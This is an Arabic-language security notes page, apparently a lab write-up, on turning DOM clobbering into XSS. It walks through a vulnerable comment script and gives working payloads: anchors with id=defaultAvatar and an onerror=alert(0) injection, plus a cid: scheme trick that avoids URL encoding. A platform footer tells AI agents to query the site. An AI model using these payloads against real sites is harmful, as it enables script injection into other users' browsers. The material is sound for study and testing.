> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/dom/dom-clobbering-xss.md).

# XSS عبر DOM Clobbering

### استغلال DOM Clobbering لتمكين XSS

استغل ثغرة DOM-clobbering. تتيح وظيفة التعليقات HTML «آمناً». الهدف هو حقن جزء HTML يكتب فوق متغير DOM (clobbering) والتسبب في سلسلة لتنفيذ XSS (`alert()`).

<figure><img src="/files/1716c45003df8da0dd28089c04f06f616e30f8db" alt=""><figcaption></figcaption></figure>

تقبل منطقة التعليقات HTML وتُعاد بعض العناصر (مثل a `<h1>` المفسِّر).

<figure><img src="/files/8926d0c118768d80018aea0c57e482eeac2be587" alt="" width="539"><figcaption></figcaption></figure>

* يقوم البرنامج النصي على جهة العميل بتحميل التعليقات المسترجعة وعرضها بصيغة JSON. وهو يستخدم `DOMPurify.sanitize()` لتنظيف `المؤلف` و `الجسم` الحقول، لكن عمليات DOM الأخرى لا تزال عرضة لـ clobbering.

```javascript
function loadComments(postCommentPath) {
    let xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            let comments = JSON.parse(this.responseText);
            displayComments(comments);
        }
    };
    xhr.open("GET", postCommentPath + window.location.search);
    xhr.send();

    function escapeHTML(data) {
        return data.replace(/[<>'"]/g, function(c){
            return '&#' + c.charCodeAt(0) + ';';
        })
    }

    function displayComments(comments) {
        let userComments = document.getElementById("user-comments");

        for (let i = 0; i < comments.length; ++i)
        {
            comment = comments[i];
            let commentSection = document.createElement("section");
            commentSection.setAttribute("class", "comment");

            let firstPElement = document.createElement("p");

            let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
            let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';

            let divImgContainer = document.createElement("div");
            divImgContainer.innerHTML = avatarImgHTML

            if (comment.author) {
                if (comment.website) {
                    let websiteElement = document.createElement("a");
                    websiteElement.setAttribute("id", "author");
                    websiteElement.setAttribute("href", comment.website);
                    firstPElement.appendChild(websiteElement)
                }

                let newInnerHtml = firstPElement.innerHTML + DOMPurify.sanitize(comment.author)
                firstPElement.innerHTML = newInnerHtml
            }

            if (comment.date) {
                let dateObj = new Date(comment.date)
                let month = '' + (dateObj.getMonth() + 1);
                let day = '' + dateObj.getDate();
                let year = dateObj.getFullYear();

                if (month.length < 2)
                    month = '0' + month;
                if (day.length < 2)
                    day = '0' + day;

                dateStr = [day, month, year].join('-');

                let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
                firstPElement.innerHTML = newInnerHtml
            }

            firstPElement.appendChild(divImgContainer);

            commentSection.appendChild(firstPElement);

            if (comment.body) {
                let commentBodyPElement = document.createElement("p");
                commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);

                commentSection.appendChild(commentBodyPElement);
            }
            commentSection.appendChild(document.createElement("p"));

            userComments.appendChild(commentSection);
        }
    }
};
```

* ينشئ الكود `defaultAvatar` كائناً من خلال قراءة `window.defaultAvatar` إن وُجد؛ `defaultAvatar` وبالتالي يمكن الكتابة فوقه عبر عنصر DOM يحمل `defaultAvatar` معرّفًا (clobbering).
* وبما أن `src` سمة `<img>` تُبنى من `defaultAvatar.avatar` عندما `comment.avatar` غير موجود، فمن الممكن إجبار `defaultAvatar` الذي يتحكم فيه المهاجم على التأثير في القيمة المُدرجة.
* تتم عملية الإدراج بواسطة `divImgContainer.innerHTML = avatarImgHTML`، مما يؤدي إلى تفسير سلسلة HTML المُنشأة.

{% code overflow="wrap" %}

```javascript
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
```

{% endcode %}

حاول إجبار `defaultAvatar` عبر `<a id=defaultAvatar>` عنصر يحتوي على سمة يُرجَّح أن تتسبب في خطأ على جهة العميل (مثل `onerror=alert(0)`).

```html
<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href="0&quot;onerror=alert(0)>//">
```

يتم ترميز هذا وفق URL بواسطة النظام

<figure><img src="/files/2e4fb4a95ceb316878df5388089b81b25a58f1f8" alt="" width="480"><figcaption></figcaption></figure>

<figure><img src="/files/538af87382bb1c6f7722be732454eceda7fd712a" alt=""><figcaption></figcaption></figure>

تم اختبار Contouring باستخدام `cid:` مخطط بحيث لا تُشفَّر القيمة:

```javascript
<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(0)>//">
```

يُفسَّر الأخير

<figure><img src="/files/b8fd64b700af6adf97d439dcf9ad36c4a364d896" alt="" width="443"><figcaption></figcaption></figure>

<figure><img src="/files/5933e0445c02e2d593f1d6096d6f5a59e79d2738" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/dom/dom-clobbering-xss.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
